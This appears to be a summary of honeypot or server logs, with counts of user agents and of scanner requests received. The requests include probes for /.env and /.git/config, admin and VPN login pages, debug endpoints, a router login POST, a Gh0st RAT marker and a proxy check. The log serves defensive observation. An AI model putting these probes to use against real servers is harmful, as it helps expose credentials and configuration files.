1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
15 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.2 (KHTML, like Gecko) Version/10.0 Mobile/14D10 Safari/602.1
1 Mozilla/5.0 zgrab/0.x
3 curl/8.4.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
1 MGLNDD_13.67.44.234_80
1 \x03
4 \x16\x03\x01\x01H\x01
3 \x16\x03\x01\x01 \x01
65 \x16\x03\x01
1 ``
1 CONNECT api64[.]ipify[.]org:80 HTTP/1.1
1 GET /+CSCOE+/logon.html HTTP/1.1
17 GET /.env HTTP/1.1
3 GET /.git/config HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /2.0/gui/ HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /Login.html HTTP/1.1
2 GET /NPClient.html HTTP/1.1
1 GET /WebViewer.html HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/config.php HTTP/1.1
1 GET /admin/index.html HTTP/1.1
1 GET /api/v1/charts HTTP/1.1
1 GET /apps HTTP/1.1
1 GET /cgi-bin/login.cgi HTTP/1.1
2 GET /config.json HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /doc/page/login.asp HTTP/1.1
1 GET /doc/script/lib/seajs/config/sea-config.js HTTP/1.1
1 GET /docs/_sidebar.md HTTP/1.1
8 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /global-protect/login.esp HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /login.cs HTTP/1.1
1 GET /login.html HTTP/1.1
1 GET /login.rsp HTTP/1.1
1 GET /login/?next=/ HTTP/1.1
1 GET /login HTTP/1.1
1 GET /manage/account/login HTTP/1.1
1 GET /mm/ HTTP/1.1
1 GET /node HTTP/1.1
1 GET /npclient.html HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /portal HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /showLogin.cc HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /staff HTTP/1.1
1 GET /stalker_portal/server/tools/auth_simple.php HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /telescope/requests HTTP/1.1
1 GET /tos HTTP/1.1
1 GET /ui HTTP/1.1
1 GET /users/sign_in HTTP/1.1
1 GET /video.html HTTP/1.1
1 GET /vpn/index.html HTTP/1.1
1 GET /web/index.html HTTP/1.1
1 GET /webconsole/webpages/login.jsp HTTP/1.1
1 GET /webui/ HTTP/1.1
1 GET /webui HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /webui/logoutconfirm.html?logon_hash=1 HTTP/1.1
2 PRI * HTTP/2.0